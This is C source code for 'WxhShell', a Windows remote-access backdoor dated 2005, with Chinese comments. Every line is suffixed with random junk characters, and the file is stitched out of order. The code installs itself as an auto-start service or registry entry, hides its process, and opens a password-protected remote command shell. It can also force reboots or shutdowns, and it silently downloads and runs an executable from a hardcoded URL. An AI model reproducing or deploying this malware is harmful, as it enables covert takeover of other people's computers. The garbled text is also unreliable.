    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (8em5  
    else { 9AD0|,g  
    closesocket(wsh); .0|_J|{  
    ExitThread(0); C?\HB#41  
    } 9g$fFO  
    break; g](&H$g  
    } Af^9WJ  
  // 获取shell l8lJ &  
  case 's': { *LvdrPxU=  
    CmdShell(wsh); UG6\OgkL+  
    closesocket(wsh); 9s*UJIL  
    ExitThread(0); I."s&]FZ  
    break; y cWY.HD  
  } u#->?  
  // 退出 vTp,j-^  
  case 'x': { q"LT8nD\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6-nf+!#G  
    CloseIt(wsh); frWY8&W^H  
    break; $% W.=a'5  
    } zS?DXE  
  // 离开 5)w;0{X!P  
  case 'q': { @*$"6!3s5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7 S%`]M4;  
    closesocket(wsh); % <h2^H\O  
    WSACleanup(); V. o*`V  
    exit(1); J!'IkC$>  
    break; >Q)S-4iR  
        } g G|4+' t  
  } 4&~*;an7  
  } I*(7(>zgyv  
gER(&L4[  
  // 提示信息 >rFM8P(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ==bT0-M.~  
} @_h=,g #@  
  } v/`#Gu^P  
s1T}hp  
  return; 14y>~~3C4  
} < -Ax)zE  
@$wfE\_L  
// shell模块句柄 YJwffV}nd  
int CmdShell(SOCKET sock) Fk?KR  
{ HA0yX?f]  
STARTUPINFO si; U,aMv[ZB  
ZeroMemory(&si,sizeof(si)); y!\q ', F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qmnW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; , w_C~XN$t  
PROCESS_INFORMATION ProcessInfo; g;y*F;0@  
char cmdline[]="cmd"; 5WtI.7r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2{L[D9c/6  
  return 0; I>>X-}  
} oMN Qv%U  
xf{=~j/L  
// 自身启动模式 4{" v  
int StartFromService(void) C7Hgzc|U  
{ "l6Ob  
typedef struct CO SQ  
{ Z0Qh7xWve  
  DWORD ExitStatus; q4u-mM7#7  
  DWORD PebBaseAddress; _6 yrd.H  
  DWORD AffinityMask; ~@iYP/=/Q  
  DWORD BasePriority; 1 ,6Y)_  
  ULONG UniqueProcessId; ?/KkN3Y_j[  
  ULONG InheritedFromUniqueProcessId; Km0P)Z  
}   PROCESS_BASIC_INFORMATION; ?:RWHe.P  
8p~|i97W]!  
PROCNTQSIP NtQueryInformationProcess; zc>LwX}<  
m] @o1J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TI3@/SB>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q!W+vh  
=5h ,ZB2A  
  HANDLE             hProcess; M,P:<-J  
  PROCESS_BASIC_INFORMATION pbi; 0O?!fd n  
bj 0-72V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W-vEh  
  if(NULL == hInst ) return 0; X""}]@B9z  
6^nxw>-   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4n.EA,:g:(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  ~&_BT`a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `I5So-^&z  
$60]RCu  
  if (!NtQueryInformationProcess) return 0; ~"vRH  
@]%c UjQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =,LhMy  
  if(!hProcess) return 0; `Zz;[<*<  
O,7*dniH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H=_k|#/  
Bj\oo+L/  
  CloseHandle(hProcess); /I q6'oo  
g U v`G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HQ3kxOT  
if(hProcess==NULL) return 0; *lp{,  
PvS\  
HMODULE hMod; 1?T^jcny:M  
char procName[255]; 6X GqZ!2  
unsigned long cbNeeded; `~ R%}ID  
M{U7yE6*j*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M Y>o8A  
u-~?ylh  
  CloseHandle(hProcess); J<7nOB}OD  
 xXZ {  
if(strstr(procName,"services")) return 1; // 以服务启动 eHI7= [h  
Jgf= yri  
  return 0; // 注册表启动 gz"I=9  
} JA^Y:@<{/  
4B@L<Rl{\  
// 主模块 },tn  
int StartWxhshell(LPSTR lpCmdLine) 4031~A8  
{ mybjcsV4  
  SOCKET wsl; ZCCwx71j  
BOOL val=TRUE; FtxmCIVIV~  
  int port=0; bA3pDt).p  
  struct sockaddr_in door; gA:N>w&<X  
8 @4)p.{5I  
  if(wscfg.ws_autoins) Install(); *'ex>4^  
5TcirVO82  
port=atoi(lpCmdLine); +J%9%DqF  
Klk[ h  
if(port<=0) port=wscfg.ws_port; WiclG8l  
8{J{)gF  
  WSADATA data; G+f@m,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VtC1TZ3-7  
;/.XAxkFL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AP_2.V=Sn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5oE!^bF?  
  door.sin_family = AF_INET; (8OaXif  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EU-=\Y  
  door.sin_port = htons(port); TZ%u;tBH:  
iMr/i?`i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L&SlUXyt.c  
closesocket(wsl);  -!z,t7!  
return 1; :g=z}7!s  
} Ym "Nj  
X'h J&-[P  
  if(listen(wsl,2) == INVALID_SOCKET) { w>$2  
closesocket(wsl); xQ7-4 N,  
return 1; X3;|h93.a  
} 4V0j1 k&'  
  Wxhshell(wsl); HX:rVHY  
  WSACleanup(); )6:nJ"j#  
g{?]a'?  
return 0; {(!j6|jK  
F;^GhiQVS  
} $^4URH  
C@L8,Kj ~.  
// 以NT服务方式启动 GT} =(sD L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X(ZouyD<  
{ OTe0[p6v  
DWORD   status = 0; Y!|* `FII  
  DWORD   specificError = 0xfffffff; @I^LmB9*  
<kr%ylhIu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rwUKg[ 1N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -I#1xJU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q+UqLass  
  serviceStatus.dwWin32ExitCode     = 0; lnoK.Vk9,  
  serviceStatus.dwServiceSpecificExitCode = 0; Ju"*>66  
  serviceStatus.dwCheckPoint       = 0; J_^Ml)@iy  
  serviceStatus.dwWaitHint       = 0; e$+?l~  
O0i[GCtP5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gLef6q{}  
  if (hServiceStatusHandle==0) return; N\OeWjA F  
&\, ZtaB  
status = GetLastError(); H%:~&_D  
  if (status!=NO_ERROR) 8'B   
{ %2)'dtPD~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lC ^NhQi  
    serviceStatus.dwCheckPoint       = 0; *?Sp9PixP  
    serviceStatus.dwWaitHint       = 0; jI(}CT`g  
    serviceStatus.dwWin32ExitCode     = status; y84= Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; `_{^&W WS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LL1HDG >l  
    return; 7VdG6`TDR  
  } H1FSN6'  
v<z%\`y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A9[ELD>p  
  serviceStatus.dwCheckPoint       = 0; x;cjl6Acm  
  serviceStatus.dwWaitHint       = 0; x\m !3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SBY  
} *hp3w  
W:^\Oe5&a  
// 处理NT服务事件,比如:启动、停止 %usy`4 2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PZQ n]lbak  
{ hi I`ot  
switch(fdwControl) ?-P]m&nh|  
{ nZbfc;da  
case SERVICE_CONTROL_STOP: i(XcNnn6  
  serviceStatus.dwWin32ExitCode = 0; *LbRLwt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ih]'OaE   
  serviceStatus.dwCheckPoint   = 0; T _O|gU  
  serviceStatus.dwWaitHint     = 0; {VPF2JFB[  
  { Gmi w(T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JR1/\F<}  
  } 85<zl|ZD  
  return; OE(Z)|LF  
case SERVICE_CONTROL_PAUSE: D<zgs2Ex  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3sf+ uoV  
  break; >900O4  
case SERVICE_CONTROL_CONTINUE: IGj%)_W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bojx:g  
  break; q1Vh]d  
case SERVICE_CONTROL_INTERROGATE: i6p0(OS&D  
  break; YH( 54R  
}; z (,%<oX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VemgG)\  
} fT-yY`  
e5_:15%R\  
// 标准应用程序主函数 G9.+N~GZ.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D_%y&p?<Ls  
{ %.kJ@@_e  
g_\U-pzr  
// 获取操作系统版本 6_a42#  
OsIsNt=GetOsVer(); ]e?cKC\"e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MX-(;H  
OQ>r;)/  
  // 从命令行安装 Br2ZloJ@+  
  if(strpbrk(lpCmdLine,"iI")) Install(); G!J{$0.  
x;,H>!r"i  
  // 下载执行文件 }\E2Z[  
if(wscfg.ws_downexe) { smLXNO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [.O 3z*[9#  
  WinExec(wscfg.ws_filenam,SW_HIDE); _h4{Sx  
} ]~:9b[G2  
SbmakNWJ}  
if(!OsIsNt) { kETu@la}  
// 如果时win9x,隐藏进程并且设置为注册表启动 3[: |)i)  
HideProc(); iEG`+h'  
StartWxhshell(lpCmdLine); fdIk{o  
} A`|OPi)  
else ,4hQ#x  
  if(StartFromService()) ^[{\ZX  
  // 以服务方式启动 m"P"iK/Av(  
  StartServiceCtrlDispatcher(DispatchTable); 5Uc!;Gd?b  
else rULrGoM  
  // 普通方式启动 kDM\IyM<\  
  StartWxhshell(lpCmdLine); v7+f@Z:N*  
`2S G{5o;  
return 0; xyK_1n@b  
} Re3vW re  
1/>#L6VAZ  
ITa8*Myj  
4@D 8{?$~Q  
=========================================== N-fGc?E  
\e%H5W x  
\vVGfG?6  
zmH8#  
kK]JN  
/xmUu0H$R  
" >1[Hk0 <x  
Fa`/i v  
#include <stdio.h> ;Ub;AqY  
#include <string.h> n22k<@y  
#include <windows.h> #!d@;= [\  
#include <winsock2.h> #M;Cw}pW  
#include <winsvc.h> 0GW(?7ZC  
#include <urlmon.h> @GzEhv  
R=jIVw'  
#pragma comment (lib, "Ws2_32.lib") ">QNiR!  
#pragma comment (lib, "urlmon.lib") yDBS : \  
#<20vdc  
#define MAX_USER   100 // 最大客户端连接数 yk1syN_  
#define BUF_SOCK   200 // sock buffer IKhpe5}  
#define KEY_BUFF   255 // 输入 buffer K4]c   
9/[3xhB4  
#define REBOOT     0   // 重启 qk pnXQ  
#define SHUTDOWN   1   // 关机 0*S2_&Q)  
gbOd(ugH  
#define DEF_PORT   5000 // 监听端口 bKsl'3~ k  
.l$'%AG:~  
#define REG_LEN     16   // 注册表键长度 dALJlRo"  
#define SVC_LEN     80   // NT服务名长度 $gm`}3C<  
%zx=rn(K  
// 从dll定义API &?\ h[3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LJK<Xen  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;h> s=D,r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (P {o9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V QE *B  
4R5+"h:  
// wxhshell配置信息 V:*QK,  
struct WSCFG { M#II,z>q  
  int ws_port;         // 监听端口 9V*h:[6a(  
  char ws_passstr[REG_LEN]; // 口令 ZSj^\JU  
  int ws_autoins;       // 安装标记, 1=yes 0=no @N?A 0S/  
  char ws_regname[REG_LEN]; // 注册表键名 "71@WLlN  
  char ws_svcname[REG_LEN]; // 服务名 ,6Ulj+l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A+d&aE }3V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _ F&BSu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %\8E{M:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x{IxS?.j+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z)cGe1?q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gR)T(%W  
YNCQPN\v`1  
}; fMaUIJ:Q9  
]YcM45xg  
// default Wxhshell configuration Ie(vTP1Cj  
struct WSCFG wscfg={DEF_PORT, VmM?KlC  
    "xuhuanlingzhe", #8P9}WTno.  
    1, d4h1#MK  
    "Wxhshell", n gA&PU  
    "Wxhshell", `~'yy q  
            "WxhShell Service", M&Aeh8>uX  
    "Wrsky Windows CmdShell Service", $i&u\iL  
    "Please Input Your Password: ", "*O(3L.c-  
  1, epa)~/sA  
  "http://www.wrsky.com/wxhshell.exe", .K>r ao'  
  "Wxhshell.exe" 6XPf0Gl  
    }; ..RCR_DIp  
1Wzm51RU  
// 消息定义模块 .JIn(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D_fgxl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q~9Y&>D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y'ULhDgq^B  
char *msg_ws_ext="\n\rExit."; O(BAw  
char *msg_ws_end="\n\rQuit.";  u!TVvc  
char *msg_ws_boot="\n\rReboot..."; L=W8Q8hf  
char *msg_ws_poff="\n\rShutdown..."; [5$=G@ zf  
char *msg_ws_down="\n\rSave to "; {VqcZhqy/l  
_JZS;8WYR  
char *msg_ws_err="\n\rErr!"; .0^-a=/  
char *msg_ws_ok="\n\rOK!"; >D'Kt?L<]m  
o.-rdP0P>  
char ExeFile[MAX_PATH]; ydFZ$W_}w  
int nUser = 0; Q%6Lc.i  
HANDLE handles[MAX_USER]; Ht.0ug  
int OsIsNt; >q0c!,Ay  
4$D:<8B  
SERVICE_STATUS       serviceStatus; m{itMZ@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0#f;/ c0i  
yM(zc/?  
// 函数声明 aKdi  
int Install(void); |U}al[  
int Uninstall(void); V$O{s~@ti  
int DownloadFile(char *sURL, SOCKET wsh); :_F$e  
int Boot(int flag); L7i^?40  
void HideProc(void); l!z0lh- J  
int GetOsVer(void); e >W}3H5w0  
int Wxhshell(SOCKET wsl); zRDBl02v$T  
void TalkWithClient(void *cs); o)<c1\q  
int CmdShell(SOCKET sock); wmu#@Hf/[h  
int StartFromService(void); o'S&YD  
int StartWxhshell(LPSTR lpCmdLine); "]|I;I"b  
6X{RcX]/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -x i]~svg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ghq#-N/t  
s UX%{|T_  
// 数据结构和表定义 pq0F!XmU  
SERVICE_TABLE_ENTRY DispatchTable[] = *gHGi(U(U  
{ =sVB.P  
{wscfg.ws_svcname, NTServiceMain}, F6 ?4E"d  
{NULL, NULL} ,#Y>nP0  
}; 595P04  
J6}J/  
// 自我安装 'Dl31w%:  
int Install(void) bbevy!m  
{ {1 fva^O  
  char svExeFile[MAX_PATH]; Zr`pOUk!4  
  HKEY key; 8jyg1NN D  
  strcpy(svExeFile,ExeFile); )LESdX  
~x`BV+R  
// 如果是win9x系统,修改注册表设为自启动 afEhC0j  
if(!OsIsNt) { '{9nQ DgT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1muB* O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'yG9Rt  
  RegCloseKey(key); fv?vO2nj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^Y"c1f2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6{/HNEI*1  
  RegCloseKey(key); =1' / ?  
  return 0; C^>txui8  
    } f"emH  
  } -:w+`x?XaB  
} sYlA{Z"  
else { fN4d^0&  
9\F:<Bf$#  
// 如果是NT以上系统,安装为系统服务 *^cJn*QeL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bnS"@^M  
if (schSCManager!=0) e)I-|Q4^%  
{ E:,V{&tLK  
  SC_HANDLE schService = CreateService NEInro<  
  ( 8RS=Xemds  
  schSCManager, XI#1)  
  wscfg.ws_svcname, =m{]Xep  
  wscfg.ws_svcdisp, P9j[ NEV  
  SERVICE_ALL_ACCESS, 8. 9TWsZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A1`y_ Aj  
  SERVICE_AUTO_START, =<nx [J  
  SERVICE_ERROR_NORMAL, 7VWq8FH`  
  svExeFile, 5c*kgj:x  
  NULL, 8I o--Ew3  
  NULL,  [wS~.  
  NULL, 6 Fz?'Xf  
  NULL, G:TM k4  
  NULL ]oy>kRnb {  
  ); wm>I;|gA)  
  if (schService!=0) ZuV/!9qU  
  { e RiPC  
  CloseServiceHandle(schService); ,A`.u\f(:  
  CloseServiceHandle(schSCManager); qF9z@a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )@"iWQ 3K  
  strcat(svExeFile,wscfg.ws_svcname); . e' vc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $ f`\TKlN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mx`C6G5  
  RegCloseKey(key); 4c"x&x|  
  return 0; h`X>b/V  
    } ;{xk[f m=  
  } N;4tvWI  
  CloseServiceHandle(schSCManager); k)+2+hX&>  
} q$>/~aVM  
} F2QX ^*  
&gdtI  
return 1; U&W{;myt  
} y_bb//IAG  
o#wDA0T  
// 自我卸载 6ybpPls  
int Uninstall(void) SF?Ublc!   
{ [UqJ3@>  
  HKEY key; L`v7|!X  
*aKT&5Ch-  
if(!OsIsNt) { DQ'yFPE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &p>VTD  
  RegDeleteValue(key,wscfg.ws_regname); ~y@,d  
  RegCloseKey(key); yQ5F'.m9e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `Mj>t(  
  RegDeleteValue(key,wscfg.ws_regname); Y](kMNUSg  
  RegCloseKey(key); B J,U,!  
  return 0; 2%0J/]n\A"  
  } PGTi-o}  
} {pEay|L_  
} }A@op+0E  
else { k@HV wK'y  
O5^!\j.WR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gn}G$uk61  
if (schSCManager!=0) <pAN{:  
{ y7[D9ZvZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !/pE6)a  
  if (schService!=0) t?& a?6:J  
  { 1=fP68n  
  if(DeleteService(schService)!=0) { W( O)J$j  
  CloseServiceHandle(schService); M<'AM4  
  CloseServiceHandle(schSCManager); fB~BVYi  
  return 0; +6cOL48"  
  } ZH]n&%@j  
  CloseServiceHandle(schService); 4`(b(DL]  
  } fQZ,kl  
  CloseServiceHandle(schSCManager); yk1.fxik'  
} AcF6p)@_  
} P+tnXT>nE  
zoFCHs r  
return 1; ZaxBr  
} sxac( L  
\F_~?$  
// 从指定url下载文件 -oSfp23u  
int DownloadFile(char *sURL, SOCKET wsh) mJjd2a"vi  
{ !U}dYB:O  
  HRESULT hr; .c#G0t<i[  
char seps[]= "/"; TL%2?'G  
char *token; oA_T9uh[  
char *file; .Y;ljQ  
char myURL[MAX_PATH]; 3ya_47D  
char myFILE[MAX_PATH]; ZbS* zKEW  
`/WX!4eR,  
strcpy(myURL,sURL); UZsn14xSA  
  token=strtok(myURL,seps); E038p]M!  
  while(token!=NULL) !3]}3jZ.  
  { !3Xu#^Xxj  
    file=token; AQCU\E  
  token=strtok(NULL,seps); &~ =q1?  
  } 8T3j/ D<r  
0FL PZaRP  
GetCurrentDirectory(MAX_PATH,myFILE); lJe=z  
strcat(myFILE, "\\"); .W>LsEk  
strcat(myFILE, file); K x7'm1  
  send(wsh,myFILE,strlen(myFILE),0); \\\%pBT7]\  
send(wsh,"...",3,0); $JH_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #0yU K5J  
  if(hr==S_OK) K0681_bp  
return 0; K,pQ11J  
else Q?e]N I^  
return 1; lIs<&-0  
y]dA<d?u  
} lRIS&9vA3  
6rBXC <Z  
// 系统电源模块 $kc*~V~   
int Boot(int flag) okl*pA)  
{ /eZ UAxq  
  HANDLE hToken; N~<H`  
  TOKEN_PRIVILEGES tkp; q-3,p.  
Yv}V =O%  
  if(OsIsNt) { pf_(?\oz>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .i^aYbB$X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UOi[#L@N  
    tkp.PrivilegeCount = 1; y81B3`@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kZ8+ev=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IaDN[:SX  
if(flag==REBOOT) { z%$,F9/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &f2'cR  
  return 0; Z?IwR  
} GqYE=Q  
else { (]wd8M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .?C-J  
  return 0; cjTV~(i'4A  
} . fZ*N/  
  } AD_aI %7  
  else { !KYX\HRW  
if(flag==REBOOT) { ,!m][  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *3,Kn}ik  
  return 0; (5-4`:1ux  
} 5Z2tTw'i  
else { O@$wU9 D<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]!v:xjzT  
  return 0; K6C@YY(  
}  X`REhvT  
} @wzzI 7}C  
u0Nag=cU  
return 1; H<hFA(M  
} U{^~X_?  
Iuh1tcc  
// win9x进程隐藏模块 _trF/U<  
void HideProc(void) X>0$zE@0  
{ 2swHJ.d\  
JjD'2"z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?b}d"QsmU  
  if ( hKernel != NULL ) zcn> 4E)  
  { =TTk5(m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7RH1,k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "`QI2{!l  
    FreeLibrary(hKernel); 9_~[  
  } Xup"gYTZQ  
"r:i  
return; D^R=  
} u{Z 4M3U  
+lK?)77f  
// 获取操作系统版本 G4VdJ(_  
int GetOsVer(void) :n@j"-HA  
{ 9KqN .  
  OSVERSIONINFO winfo; C(RZ09,.S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '+@q  
  GetVersionEx(&winfo); gj\'1(Ju  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]Wn^m+  
  return 1; n!nXM  
  else k7R8Q~4  
  return 0; N-lo[bDJh  
} dKKh^D`~  
Z9TUaMhF  
// 客户端句柄模块 Y? 1 3_~ K  
int Wxhshell(SOCKET wsl) o$S/EZ  
{ fj/sN HU  
  SOCKET wsh; Myal3UF  
  struct sockaddr_in client; +{qX,  
  DWORD myID; Q9Y$x{R&  
^oL43#Nlo  
  while(nUser<MAX_USER) `{1&*4!  
{ PT`];C(he  
  int nSize=sizeof(client); X^2Txm d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E3p3DM0F$  
  if(wsh==INVALID_SOCKET) return 1; u]D>O$_ s  
Sqc r -  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?Aewp$Bj  
if(handles[nUser]==0) Ezvm5~<  
  closesocket(wsh); s,tZi6Z=%E  
else ]bPj%sb*@  
  nUser++; 1XwW4cZ>:  
  } ]VYv>o`2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R')D~JJ<8a  
O%w"bEr)N  
  return 0; UG]]Vk1d]  
} |=dmxfj@  
d]kP@flOV  
// 关闭 socket -G!W6$Y  
void CloseIt(SOCKET wsh) @[:JQ'R=  
{ u{H'evv0O  
closesocket(wsh); =p1aF/1$I  
nUser--; zF%'~S0{  
ExitThread(0); Ql%0%naq1  
} h{$mL#J  
Vy+%sG q"  
// 客户端请求句柄 4 ^=qc99  
void TalkWithClient(void *cs) |GDf<\  
{ [(hB%x_"  
Oq7R^t`b  
  SOCKET wsh=(SOCKET)cs; h1 y6`m9  
  char pwd[SVC_LEN]; #[4MwM3  
  char cmd[KEY_BUFF]; [RZ}9`V  
char chr[1]; 4yk!T  
int i,j; 0+i\j`O&  
T:/68b*H\:  
  while (nUser < MAX_USER) { X_j=u1*5  
TAkM-iyH]  
if(wscfg.ws_passstr) { 2u(v hJ F5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @V9qbr= Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TQcEe@$)  
  //ZeroMemory(pwd,KEY_BUFF); h-^7cHI}  
      i=0; L>,j*a_[  
  while(i<SVC_LEN) { @YH<Hc  
P3due|4M  
  // 设置超时 #4?(A[]>H  
  fd_set FdRead; ndsu}:my  
  struct timeval TimeOut; |5ifgSZ  
  FD_ZERO(&FdRead); f;Iaf#V_  
  FD_SET(wsh,&FdRead); H-*"%SJ  
  TimeOut.tv_sec=8; 0Hs\q!5Q  
  TimeOut.tv_usec=0; M"E ]r=1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w""5T|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HjX!a29Wf  
r N"P IH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1j_x51p  
  pwd=chr[0]; rm-6Az V  
  if(chr[0]==0xd || chr[0]==0xa) { 5M.KF;P  
  pwd=0; 97$1na3gq  
  break; #WOb&h  
  } 7c:5 Ey  
  i++; jq4'=L$4  
    } 4z~%gt74O]  
&HPzm6.3  
  // 如果是非法用户,关闭 socket 33R_JM{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /,>@+^1  
} L4)@lmd3  
5]Wkk~a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =,*4:TU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }]qx "  
5`ma#_zk|f  
while(1) { x J;DkPh  
d/Sx+1 "{T  
  ZeroMemory(cmd,KEY_BUFF); W|go*+`W%  
g{`rWKj  
      // 自动支持客户端 telnet标准   Jb~nu  
  j=0; +O@v|}9"w3  
  while(j<KEY_BUFF) { $] js0 )>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JG2)-x;9  
  cmd[j]=chr[0]; G8JwY\  
  if(chr[0]==0xa || chr[0]==0xd) { ?c vXuxCm  
  cmd[j]=0; IT`r&;5  
  break; UUxDW3K  
  } *mqoyOa  
  j++; @ =RH_NB  
    } =5JTVF  
Jy,Dcl  
  // 下载文件 =4;GIiF@  
  if(strstr(cmd,"http://")) { ?0UzmJV?8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o'W[v0> L-  
  if(DownloadFile(cmd,wsh)) x?ajTzMv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uW.)(l  
  else nDR)UR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =w~phn  
  } Q k`yK|(0=  
  else { ^J DiI7  
k$V.hG|6M  
    switch(cmd[0]) { &ZjQa.-U>  
  pg}9baW?  
  // 帮助 eBD7g-  
